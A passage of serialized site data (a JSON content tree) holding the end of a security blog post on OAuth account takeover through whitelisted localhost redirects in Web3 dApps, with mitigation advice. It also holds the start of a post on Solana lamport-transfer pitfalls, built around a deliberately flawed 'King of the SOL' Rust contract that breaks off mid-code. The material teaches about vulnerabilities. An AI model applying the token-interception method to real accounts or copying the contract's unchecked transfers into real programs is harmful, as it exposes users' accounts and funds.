",{"type":23,"tag":504,"props":73161,"children":73162},{"style":5047},[73163],{"type":29,"value":546},{"type":23,"tag":504,"props":73165,"children":73166},{"style":5030},[73167],{"type":29,"value":14515},{"type":23,"tag":504,"props":73169,"children":73170},{"style":5058},[73171],{"type":29,"value":5200},{"type":23,"tag":504,"props":73173,"children":73174},{"class":5016,"line":25819},[73175],{"type":23,"tag":504,"props":73176,"children":73177},{"style":5058},[73178],{"type":29,"value":5403},{"type":23,"tag":504,"props":73180,"children":73181},{"class":5016,"line":25827},[73182],{"type":23,"tag":504,"props":73183,"children":73184},{"style":5058},[73185],{"type":29,"value":5965},{"type":23,"tag":32,"props":73187,"children":73188},{},[73189],{"type":29,"value":73190},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":32,"props":73192,"children":73193},{},[73194],{"type":29,"value":73195},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":320,"props":73197,"children":73199},{"id":73198},"mitigation-1",[73200],{"type":29,"value":42393},{"type":23,"tag":32,"props":73202,"children":73203},{},[73204,73206,73211],{"type":29,"value":73205},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":154,"props":73207,"children":73209},{"className":73208},[],[73210],{"type":29,"value":71829},{"type":29,"value":73212}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":24,"props":73214,"children":73215},{"id":4832},[73216],{"type":29,"value":4835},{"type":23,"tag":32,"props":73218,"children":73219},{},[73220],{"type":29,"value":73221},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":32,"props":73223,"children":73224},{},[73225],{"type":29,"value":73226},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":7410,"props":73228,"children":73229},{},[73230],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":73232},[73233,73240,73245,73248],{"id":71597,"depth":4868,"text":71600,"children":73234},[73235,73236,73237,73238,73239],{"id":71608,"depth":4876,"text":71611},{"id":71635,"depth":4876,"text":71638},{"id":71696,"depth":4876,"text":71699},{"id":71753,"depth":4876,"text":71756},{"id":71852,"depth":4876,"text":71855},{"id":71898,"depth":4868,"text":71901,"children":73241},[73242,73243,73244],{"id":71904,"depth":4876,"text":71907},{"id":71931,"depth":4876,"text":71934},{"id":42390,"depth":4876,"text":42393},{"id":72380,"depth":4868,"text":72383,"children":73246},[73247],{"id":73198,"depth":4876,"text":42393},{"id":4832,"depth":4868,"text":4835},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":73253,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":73254,"description":73255,"author":42509,"image":73256,"date":73258,"isFeatured":15,"tags":73259,"onBlogPage":15,"body":73260,"_type":4892,"_id":77914,"_source":4894,"_file":77915,"_stem":77916,"_extension":4897},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":73257,"height":14,"width":14},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[4909],{"type":20,"children":73261,"toc":77903},[73262,73266,73271,73285,73291,73296,73326,73331,73336,74374,74379,74387,74392,74398,74404,74416,74449,74461,74474,74486,74931,74936,74982,74988,74993,75080,75085,75099,75112,75775,75780,75792,75798,75809,75821,75975,75989,76008,76029,76035,76040,76385,76390,76396,76415,76429,77051,77056,77076,77081,77086,77092,77104,77125,77300,77306,77311,77612,77633,77645,77657,77741,77761,77773,77779,77791,77797,77802,77825,77837,77843,77855,77860,77866,77871,77876,77894,77899],{"type":23,"tag":24,"props":73263,"children":73264},{"id":31069},[73265],{"type":29,"value":31072},{"type":23,"tag":32,"props":73267,"children":73268},{},[73269],{"type":29,"value":73270},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":32,"props":73272,"children":73273},{},[73274,73276,73283],{"type":29,"value":73275},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":68,"props":73277,"children":73280},{"href":73278,"rel":73279},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[72],[73281],{"type":29,"value":73282},"King of the Ether",{"type":29,"value":73284},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":24,"props":73286,"children":73288},{"id":73287},"the-game-king-of-the-sol",[73289],{"type":29,"value":73290},"The Game: King of the SOL",{"type":23,"tag":32,"props":73292,"children":73293},{},[73294],{"type":29,"value":73295},"The game works like this:",{"type":23,"tag":1022,"props":73297,"children":73298},{},[73299,73311,73316,73321],{"type":23,"tag":143,"props":73300,"children":73301},{},[73302,73304,73309],{"type":29,"value":73303},"Anyone can become the ",{"type":23,"tag":38,"props":73305,"children":73306},{},[73307],{"type":29,"value":73308},"king",{"type":29,"value":73310}," by bidding at least 2× the previous bid.",{"type":23,"tag":143,"props":73312,"children":73313},{},[73314],{"type":29,"value":73315},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":143,"props":73317,"children":73318},{},[73319],{"type":29,"value":73320},"The remaining 5% goes into a prize pot.",{"type":23,"tag":143,"props":73322,"children":73323},{},[73324],{"type":29,"value":73325},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":32,"props":73327,"children":73328},{},[73329],{"type":29,"value":73330},"Simple, right?",{"type":23,"tag":32,"props":73332,"children":73333},{},[73334],{"type":29,"value":73335},"This is the core logic:",{"type":23,"tag":4743,"props":73337,"children":73339},{"className":5009,"code":73338,"language":5008,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[73340],{"type":23,"tag":154,"props":73341,"children":73342},{"__ignoreMap":7},[73343,73358,73386,73401,73442,73449,73457,73508,73539,73546,73554,73569,73601,73608,73623,73654,73661,73668,73676,73693,73767,73775,73836,73848,73876,73916,73928,73944,73951,73959,74033,74045,74084,74112,74124,74139,74146,74154,74224,74268,74342,74349,74360,74367],{"type":23,"tag":504,"props":73344,"children":73345},{"class":5016,"line":5017},[73346,73350,73354],{"type":23,"tag":504,"props":73347,"children":73348},{"style":5058},[73349],{"type":29,"value":24878},{"type":23,"tag":504,"props":73351,"children":73352},{"style":5467},[73353],{"type":29,"value":24883},{"type":23,"tag":504,"props":73355,"children":73356},{"style":5058},[73357],{"type":29,"value":22311},{"type":23,"tag":504,"props":73359,"children":73360},{"class":5016,"line":4868},[73361,73365,73369,73374,73378,73382],{"type":23,"tag":504,"props":73362,"children":73363},{"style":5030},[73364],{"type":29,"value":15736},{"type":23,"tag":504,"props":73366,"children":73367},{"style":5030},[73368],{"type":29,"value":23203},{"type":23,"tag":504,"props":73370,"children":73371},{"style":5467},[73372],{"type":29,"value":73373}," ChangeKing",{"type":23,"tag":504,"props":73375,"children":73376},{"style":5058},[73377],{"type":29,"value":24963},{"type":23,"tag":504,"props":73379,"children":73380},{"style":5467},[73381],{"type":29,"value":24968},{"type":23,"tag":504,"props":73383,"children":73384},{"style":5058},[73385],{"type":29,"value":9325},{"type":23,"tag":504,"props":73387,"children":73388},{"class":5016,"line":4876},[73389,73393,73397],{"type":23,"tag":504,"props":73390,"children":73391},{"style":5058},[73392],{"type":29,"value":25170},{"type":23,"tag":504,"props":73394,"children":73395},{"style":5030},[73396],{"type":29,"value":5783},{"type":23,"tag":504,"props":73398,"children":73399},{"style":5058},[73400],{"type":29,"value":22311},{"type":23,"tag":504,"props":73402,"children":73403},{"class":5016,"line":5099},[73404,73408,73413,73417,73421,73425,73429,73433,73438],{"type":23,"tag":504,"props":73405,"children":73406},{"style":5030},[73407],{"type":29,"value":22895},{"type":23,"tag":504,"props":73409,"children":73410},{"style":5041},[73411],{"type":29,"value":73412}," throne",{"type":23,"tag":504,"props":73414,"children":73415},{"style":5047},[73416],{"type":29,"value":6533},{"type":23,"tag":504,"props":73418,"children":73419},{"style":5467},[73420],{"type":29,"value":25135},{"type":23,"tag":504,"props":73422,"children":73423},{"style":5058},[73424],{"type":29,"value":24963},{"type":23,"tag":504,"props":73426,"children":73427},{"style":5467},[73428],{"type":29,"value":24968},{"type":23,"tag":504,"props":73430,"children":73431},{"style":5058},[73432],{"type":29,"value":4367},{"type":23,"tag":504,"props":73434,"children":73435},{"style":5467},[73436],{"type":29,"value":73437},"Throne",{"type":23,"tag":504,"props":73439,"children":73440},{"style":5058},[73441],{"type":29,"value":8183},{"type":23,"tag":504,"props":73443,"children":73444},{"class":5016,"line":5203},[73445],{"type":23,"tag":504,"props":73446,"children":73447},{"emptyLinePlaceholder":15},[73448],{"type":29,"value":5734},{"type":23,"tag":504,"props":73450,"children":73451},{"class":5016,"line":5308},[73452],{"type":23,"tag":504,"props":73453,"children":73454},{"style":5021},[73455],{"type":29,"value":73456},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":504,"props":73458,"children":73459},{"class":5016,"line":5336},[73460,73464,73468,73473,73477,73482,73486,73491,73495,73499,73503],{"type":23,"tag":504,"props":73461,"children":73462},{"style":5058},[73463],{"type":29,"value":25170},{"type":23,"tag":504,"props":73465,"children":73466},{"style":5030},[73467],{"type":29,"value":5783},{"type":23,"tag":504,"props":73469,"children":73470},{"style":5058},[73471],{"type":29,"value":73472},", constraint ",{"type":23,"tag":504,"props":73474,"children":73475},{"style":5047},[73476],{"type":29,"value":546},{"type":23,"tag":504,"props":73478,"children":73479},{"style":5058},[73480],{"type":29,"value":73481}," old_king",{"type":23,"tag":504,"props":73483,"children":73484},{"style":5047},[73485],{"type":29,"value":357},{"type":23,"tag":504,"props":73487,"children":73488},{"style":5058},[73489],{"type":29,"value":73490},"key() ",{"type":23,"tag":504,"props":73492,"children":73493},{"style":5047},[73494],{"type":29,"value":1224},{"type":23,"tag":504,"props":73496,"children":73497},{"style":5058},[73498],{"type":29,"value":73412},{"type":23,"tag":504,"props":73500,"children":73501},{"style":5047},[73502],{"type":29,"value":357},{"type":23,"tag":504,"props":73504,"children":73505},{"style":5058},[73506],{"type":29,"value":73507},"king)]\n",{"type":23,"tag":504,"props":73509,"children":73510},{"class":5016,"line":5349},[73511,73515,73519,73523,73527,73531,73535],{"type":23,"tag":504,"props":73512,"children":73513},{"style":5030},[73514],{"type":29,"value":22895},{"type":23,"tag":504,"props":73516,"children":73517},{"style":5041},[73518],{"type":29,"value":73481},{"type":23,"tag":504,"props":73520,"children":73521},{"style":5047},[73522],{"type":29,"value":6533},{"type":23,"tag":504,"props":73524,"children":73525},{"style":5467},[73526],{"type":29,"value":27451},{"type":23,"tag":504,"props":73528,"children":73529},{"style":5058},[73530],{"type":29,"value":24963},{"type":23,"tag":504,"props":73532,"children":73533},{"style":5467},[73534],{"type":29,"value":24968},{"type":23,"tag":504,"props":73536,"children":73537},{"style":5058},[73538],{"type":29,"value":8183},{"type":23,"tag":504,"props":73540,"children":73541},{"class":5016,"line":5367},[73542],{"type":23,"tag":504,"props":73543,"children":73544},{"emptyLinePlaceholder":15},[73545],{"type":29,"value":5734},{"type":23,"tag":504,"props":73547,"children":73548},{"class":5016,"line":5388},[73549],{"type":23,"tag":504,"props":73550,"children":73551},{"style":5021},[73552],{"type":29,"value":73553},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":23,"tag":504,"props":73555,"children":73556},{"class":5016,"line":5397},[73557,73561,73565],{"type":23,"tag":504,"props":73558,"children":73559},{"style":5058},[73560],{"type":29,"value":25170},{"type":23,"tag":504,"props":73562,"children":73563},{"style":5030},[73564],{"type":29,"value":5783},{"type":23,"tag":504,"props":73566,"children":73567},{"style":5058},[73568],{"type":29,"value":22311},{"type":23,"tag":504,"props":73570,"children":73571},{"class":5016,"line":5649},[73572,73576,73581,73585,73589,73593,73597],{"type":23,"tag":504,"props":73573,"children":73574},{"style":5030},[73575],{"type":29,"value":22895},{"type":23,"tag":504,"props":73577,"children":73578},{"style":5041},[73579],{"type":29,"value":73580}," new_king",{"type":23,"tag":504,"props":73582,"children":73583},{"style":5047},[73584],{"type":29,"value":6533},{"type":23,"tag":504,"props":73586,"children":73587},{"style":5467},[73588],{"type":29,"value":27451},{"type":23,"tag":504,"props":73590,"children":73591},{"style":5058},[73592],{"type":29,"value":24963},{"type":23,"tag":504,"props":73594,"children":73595},{"style":5467},[73596],{"type":29,"value":24968},{"type":23,"tag":504,"props":73598,"children":73599},{"style":5058},[73600],{"type":29,"value":8183},{"type":23,"tag":504,"props":73602,"children":73603},{"class":5016,"line":5666},[73604],{"type":23,"tag":504,"props":73605,"children":73606},{"emptyLinePlaceholder":15},[73607],{"type":29,"value":5734},{"type":23,"tag":504,"props":73609,"children":73610},{"class":5016,"line":5683},[73611,73615,73619],{"type":23,"tag":504,"props":73612,"children":73613},{"style":5058},[73614],{"type":29,"value":25170},{"type":23,"tag":504,"props":73616,"children":73617},{"style":5030},[73618],{"type":29,"value":5783},{"type":23,"tag":504,"props":73620,"children":73621},{"style":5058},[73622],{"type":29,"value":22311},{"type":23,"tag":504,"props":73624,"children":73625},{"class":5016,"line":5696},[73626,73630,73634,73638,73642,73646,73650],{"type":23,"tag":504,"props":73627,"children":73628},{"style":5030},[73629],{"type":29,"value":22895},{"type":23,"tag":504,"props":73631,"children":73632},{"style":5041},[73633],{"type":29,"value":44299},{"type":23,"tag":504,"props":73635,"children":73636},{"style":5047},[73637],{"type":29,"value":6533},{"type":23,"tag":504,"props":73639,"children":73640},{"style":5467},[73641],{"type":29,"value":25199},{"type":23,"tag":504,"props":73643,"children":73644},{"style":5058},[73645],{"type":29,"value":24963},{"type":23,"tag":504,"props":73647,"children":73648},{"style":5467},[73649],{"type":29,"value":24968},{"type":23,"tag":504,"props":73651,"children":73652},{"style":5058},[73653],{"type":29,"value":8183},{"type":23,"tag":504,"props":73655,"children":73656},{"class":5016,"line":5705},[73657],{"type":23,"tag":504,"props":73658,"children":73659},{"style":5058},[73660],{"type":29,"value":5965},{"type":23,"tag":504,"props":73662,"children":73663},{"class":5016,"line":5728},[73664],{"type":23,"tag":504,"props":73665,"children":73666},{"emptyLinePlaceholder":15},[73667],{"type":29,"value":5734},{"type":23,"tag":504,"props":73669,"children":73670},{"class":5016,"line":5737},[73671],{"type":23,"tag":504,"props":73672,"children":73673},{"style":5058},[73674],{"type":29,"value":73675},"#[program]\n",{"type":23,"tag":504,"props":73677,"children":73678},{"class":5016,"line":5746},[73679,73683,73688],{"type":23,"tag":504,"props":73680,"children":73681},{"style":5030},[73682],{"type":29,"value":15736},{"type":23,"tag":504,"props":73684,"children":73685},{"style":5030},[73686],{"type":29,"value":73687}," mod",{"type":23,"tag":504,"props":73689,"children":73690},{"style":5058},[73691],{"type":29,"value":73692}," king_of_the_sol {\n",{"type":23,"tag":504,"props":73694,"children":73695},{"class":5016,"line":5813},[73696,73700,73704,73709,73713,73717,73721,73725,73729,73734,73738,73743,73747,73751,73755,73759,73763],{"type":23,"tag":504,"props":73697,"children":73698},{"style":5030},[73699],{"type":29,"value":22895},{"type":23,"tag":504,"props":73701,"children":73702},{"style":5030},[73703],{"type":29,"value":15741},{"type":23,"tag":504,"props":73705,"children":73706},{"style":5139},[73707],{"type":29,"value":73708}," change_king",{"type":23,"tag":504,"props":73710,"children":73711},{"style":5058},[73712],{"type":29,"value":603},{"type":23,"tag":504,"props":73714,"children":73715},{"style":5041},[73716],{"type":29,"value":22333},{"type":23,"tag":504,"props":73718,"children":73719},{"style":5047},[73720],{"type":29,"value":6533},{"type":23,"tag":504,"props":73722,"children":73723},{"style":5467},[73724],{"type":29,"value":22342},{"type":23,"tag":504,"props":73726,"children":73727},{"style":5058},[73728],{"type":29,"value":2658},{"type":23,"tag":504,"props":73730,"children":73731},{"style":5467},[73732],{"type":29,"value":73733},"ChangeKing",{"type":23,"tag":504,"props":73735,"children":73736},{"style":5058},[73737],{"type":29,"value":8674},{"type":23,"tag":504,"props":73739,"children":73740},{"style":5041},[73741],{"type":29,"value":73742},"bid_amount",{"type":23,"tag":504,"props":73744,"children":73745},{"style":5047},[73746],{"type":29,"value":6533},{"type":23,"tag":504,"props":73748,"children":73749},{"style":5467},[73750],{"type":29,"value":7905},{"type":23,"tag":504,"props":73752,"children":73753},{"style":5058},[73754],{"type":29,"value":5128},{"type":23,"tag":504,"props":73756,"children":73757},{"style":5047},[73758],{"type":29,"value":15803},{"type":23,"tag":504,"props":73760,"children":73761},{"style":5467},[73762],{"type":29,"value":15808},{"type":23,"tag":504,"props":73764,"children":73765},{"style":5058},[73766],{"type":29,"value":22384},{"type":23,"tag":504,"props":73768,"children":73769},{"class":5016,"line":5821},[73770],{"type":23,"tag":504,"props":73771,"children":73772},{"style":5021},[73773],{"type":29,"value":73774},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":504,"props":73776,"children":73777},{"class":5016,"line":5851},[73778,73782,73786,73790,73794,73798,73802,73806,73810,73815,73819,73824,73828,73832],{"type":23,"tag":504,"props":73779,"children":73780},{"style":5139},[73781],{"type":29,"value":66510},{"type":23,"tag":504,"props":73783,"children":73784},{"style":5058},[73785],{"type":29,"value":603},{"type":23,"tag":504,"props":73787,"children":73788},{"style":5041},[73789],{"type":29,"value":73742},{"type":23,"tag":504,"props":73791,"children":73792},{"style":5047},[73793],{"type":29,"value":10347},{"type":23,"tag":504,"props":73795,"children":73796},{"style":5041},[73797],{"type":29,"value":27896},{"type":23,"tag":504,"props":73799,"children":73800},{"style":5047},[73801],{"type":29,"value":357},{"type":23,"tag":504,"props":73803,"children":73804},{"style":5058},[73805],{"type":29,"value":16721},{"type":23,"tag":504,"props":73807,"children":73808},{"style":5047},[73809],{"type":29,"value":357},{"type":23,"tag":504,"props":73811,"children":73812},{"style":5058},[73813],{"type":29,"value":73814},"throne",{"type":23,"tag":504,"props":73816,"children":73817},{"style":5047},[73818],{"type":29,"value":357},{"type":23,"tag":504,"props":73820,"children":73821},{"style":5058},[73822],{"type":29,"value":73823},"last_bid_amount ",{"type":23,"tag":504,"props":73825,"children":73826},{"style":5047},[73827],{"type":29,"value":6613},{"type":23,"tag":504,"props":73829,"children":73830},{"style":5083},[73831],{"type":29,"value":9979},{"type":23,"tag":504,"props":73833,"children":73834},{"style":5058},[73835],{"type":29,"value":5888},{"type":23,"tag":504,"props":73837,"children":73838},{"class":5016,"line":5859},[73839,73844],{"type":23,"tag":504,"props":73840,"children":73841},{"style":5139},[73842],{"type":29,"value":73843},"        transfer_from_signer",{"type":23,"tag":504,"props":73845,"children":73846},{"style":5058},[73847],{"type":29,"value":5512},{"type":23,"tag":504,"props":73849,"children":73850},{"class":5016,"line":5891},[73851,73855,73859,73863,73867,73871],{"type":23,"tag":504,"props":73852,"children":73853},{"style":5047},[73854],{"type":29,"value":9729},{"type":23,"tag":504,"props":73856,"children":73857},{"style":5041},[73858],{"type":29,"value":22333},{"type":23,"tag":504,"props":73860,"children":73861},{"style":5047},[73862],{"type":29,"value":357},{"type":23,"tag":504,"props":73864,"children":73865},{"style":5058},[73866],{"type":29,"value":16721},{"type":23,"tag":504,"props":73868,"children":73869},{"style":5047},[73870],{"type":29,"value":357},{"type":23,"tag":504,"props":73872,"children":73873},{"style":5058},[73874],{"type":29,"value":73875},"payer,\n",{"type":23,"tag":504,"props":73877,"children":73878},{"class":5016,"line":5899},[73879,73883,73887,73891,73895,73899,73903,73907,73912],{"type":23,"tag":504,"props":73880,"children":73881},{"style":5047},[73882],{"type":29,"value":9729},{"type":23,"tag":504,"props":73884,"children":73885},{"style":5041},[73886],{"type":29,"value":22333},{"type":23,"tag":504,"props":73888,"children":73889},{"style":5047},[73890],{"type":29,"value":357},{"type":23,"tag":504,"props":73892,"children":73893},{"style":5058},[73894],{"type":29,"value":16721},{"type":23,"tag":504,"props":73896,"children":73897},{"style":5047},[73898],{"type":29,"value":357},{"type":23,"tag":504,"props":73900,"children":73901},{"style":5058},[73902],{"type":29,"value":73814},{"type":23,"tag":504,"props":73904,"children":73905},{"style":5047},[73906],{"type":29,"value":357},{"type":23,"tag":504,"props":73908,"children":73909},{"style":5139},[73910],{"type":29,"value":73911},"to_account_info",{"type":23,"tag":504,"props":73913,"children":73914},{"style":5058},[73915],{"type":29,"value":5540},{"type":23,"tag":504,"props":73917,"children":73918},{"class":5016,"line":5959},[73919,73924],{"type":23,"tag":504,"props":73920,"children":73921},{"style":5041},[73922],{"type":29,"value":73923},"            bid_amount",{"type":23,"tag":504,"props":73925,"children":73926},{"style":5058},[73927],{"type":29,"value":5557},{"type":23,"tag":504,"props":73929,"children":73930},{"class":5016,"line":11093},[73931,73936,73940],{"type":23,"tag":504,"props":73932,"children":73933},{"style":5058},[73934],{"type":29,"value":73935},"        )",{"type":23,"tag":504,"props":73937,"children":73938},{"style":5047},[73939],{"type":29,"value":5195},{"type":23,"tag":504,"props":73941,"children":73942},{"style":5058},[73943],{"type":29,"value":5061},{"type":23,"tag":504,"props":73945,"children":73946},{"class":5016,"line":11111},[73947],{"type":23,"tag":504,"props":73948,"children":73949},{"emptyLinePlaceholder":15},[73950],{"type":29,"value":5734},{"type":23,"tag":504,"props":73952,"children":73953},{"class":5016,"line":11156},[73954],{"type":23,"tag":504,"props":73955,"children":73956},{"style":5021},[73957],{"type":29,"value":73958},"        // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":504,"props":73960,"children":73961},{"class":5016,"line":11262},[73962,73966,73971,73975,73979,73983,73987,73991,73995,73999,74003,74007,74011,74016,74020,74024,74029],{"type":23,"tag":504,"props":73963,"children":73964},{"style":5030},[73965],{"type":29,"value":5105},{"type":23,"tag":504,"props":73967,"children":73968},{"style":5041},[73969],{"type":29,"value":73970}," to_reimburse",{"type":23,"tag":504,"props":73972,"children":73973},{"style":5047},[73974],{"type":29,"value":5050},{"type":23,"tag":504,"props":73976,"children":73977},{"style":5058},[73978],{"type":29,"value":5110},{"type":23,"tag":504,"props":73980,"children":73981},{"style":5041},[73982],{"type":29,"value":22333},{"type":23,"tag":504,"props":73984,"children":73985},{"style":5047},[73986],{"type":29,"value":357},{"type":23,"tag":504,"props":73988,"children":73989},{"style":5058},[73990],{"type":29,"value":16721},{"type":23,"tag":504,"props":73992,"children":73993},{"style":5047},[73994],{"type":29,"value":357},{"type":23,"tag":504,"props":73996,"children":73997},{"style":5058},[73998],{"type":29,"value":73814},{"type":23,"tag":504,"props":74000,"children":74001},{"style":5047},[74002],{"type":29,"value":357},{"type":23,"tag":504,"props":74004,"children":74005},{"style":5058},[74006],{"type":29,"value":73823},{"type":23,"tag":504,"props":74008,"children":74009},{"style":5047},[74010],{"type":29,"value":6613},{"type":23,"tag":504,"props":74012,"children":74013},{"style":5083},[74014],{"type":29,"value":74015}," 9500",{"type":23,"tag":504,"props":74017,"children":74018},{"style":5058},[74019],{"type":29,"value":5128},{"type":23,"tag":504,"props":74021,"children":74022},{"style":5047},[74023],{"type":29,"value":6623},{"type":23,"tag":504,"props":74025,"children":74026},{"style":5083},[74027],{"type":29,"value":74028}," 10000",{"type":23,"tag":504,"props":74030,"children":74031},{"style":5058},[74032],{"type":29,"value":5061},{"type":23,"tag":504,"props":74034,"children":74035},{"class":5016,"line":25550},[74036,74041],{"type":23,"tag":504,"props":74037,"children":74038},{"style":5139},[74039],{"type":29,"value":74040},"        transfer_from_pda",{"type":23,"tag":504,"props":74042,"children":74043},{"style":5058},[74044],{"type":29,"value":5512},{"type":23,"tag":504,"props":74046,"children":74047},{"class":5016,"line":25585},[74048,74052,74056,74060,74064,74068,74072,74076,74080],{"type":23,"tag":504,"props":74049,"children":74050},{"style":5047},[74051],{"type":29,"value":9729},{"type":23,"tag":504,"props":74053,"children":74054},{"style":5041},[74055],{"type":29,"value":22333},{"type":23,"tag":504,"props":74057,"children":74058},{"style":5047},[74059],{"type":29,"value":357},{"type":23,"tag":504,"props":74061,"children":74062},{"style":5058},[74063],{"type":29,"value":16721},{"type":23,"tag":504,"props":74065,"children":74066},{"style":5047},[74067],{"type":29,"value":357},{"type":23,"tag":504,"props":74069,"children":74070},{"style":5058},[74071],{"type":29,"value":73814},{"type":23,"tag":504,"props":74073,"children":74074},{"style":5047},[74075],{"type":29,"value":357},{"type":23,"tag":504,"props":74077,"children":74078},{"style":5139},[74079],{"type":29,"value":73911},{"type":23,"tag":504,"props":74081,"children":74082},{"style":5058},[74083],{"type":29,"value":5540},{"type":23,"tag":504,"props":74085,"children":74086},{"class":5016,"line":25593},[74087,74091,74095,74099,74103,74107],{"type":23,"tag":504,"props":74088,"children":74089},{"style":5047},[74090],{"type":29,"value":9729},{"type":23,"tag":504,"props":74092,"children":74093},{"style":5041},[74094],{"type":29,"value":22333},{"type":23,"tag":504,"props":74096,"children":74097},{"style":5047},[74098],{"type":29,"value":357},{"type":23,"tag":504,"props":74100,"children":74101},{"style":5058},[74102],{"type":29,"value":16721},{"type":23,"tag":504,"props":74104,"children":74105},{"style":5047},[74106],{"type":29,"value":357},{"type":23,"tag":504,"props":74108,"children":74109},{"style":5058},[74110],{"type":29,"value":74111},"old_king,\n",{"type":23,"tag":504,"props":74113,"children":74114},{"class":5016,"line":25601},[74115,74120],{"type":23,"tag":504,"props":74116,"children":74117},{"style":5041},[74118],{"type":29,"value":74119},"            to_reimburse",{"type":23,"tag":504,"props":74121,"children":74122},{"style":5058},[74123],{"type":29,"value":5557},{"type":23,"tag":504,"props":74125,"children":74126},{"class":5016,"line":25610},[74127,74131,74135],{"type":23,"tag":504,"props":74128,"children":74129},{"style":5058},[74130],{"type":29,"value":73935},{"type":23,"tag":504,"props":74132,"children":74133},{"style":5047},[74134],{"type":29,"value":5195},{"type":23,"tag":504,"props":74136,"children":74137},{"style":5058},[74138],{"type":29,"value":5061},{"type":23,"tag":504,"props":74140,"children":74141},{"class":5016,"line":25652},[74142],{"type":23,"tag":504,"props":74143,"children":74144},{"emptyLinePlaceholder":15},[74145],{"type":29,"value":5734},{"type":23,"tag":504,"props":74147,"children":74148},{"class":5016,"line":25685},[74149],{"type":23,"tag":504,"props":74150,"children":74151},{"style":5021},[74152],{"type":29,"value":74153},"        // Set new king\n",{"type":23,"tag":504,"props":74155,"children":74156},{"class":5016,"line":25693},[74157,74161,74165,74169,74173,74177,74181,74186,74190,74194,74198,74202,74206,74211,74215,74220],{"type":23,"tag":504,"props":74158,"children":74159},{"style":5041},[74160],{"type":29,"value":28239},{"type":23,"tag":504,"props":74162,"children":74163},{"style":5047},[74164],{"type":29,"value":357},{"type":23,"tag":504,"props":74166,"children":74167},{"style":5058},[74168],{"type":29,"value":16721},{"type":23,"tag":504,"props":74170,"children":74171},{"style":5047},[74172],{"type":29,"value":357},{"type":23,"tag":504,"props":74174,"children":74175},{"style":5058},[74176],{"type":29,"value":73814},{"type":23,"tag":504,"props":74178,"children":74179},{"style":5047},[74180],{"type":29,"value":357},{"type":23,"tag":504,"props":74182,"children":74183},{"style":5058},[74184],{"type":29,"value":74185},"king 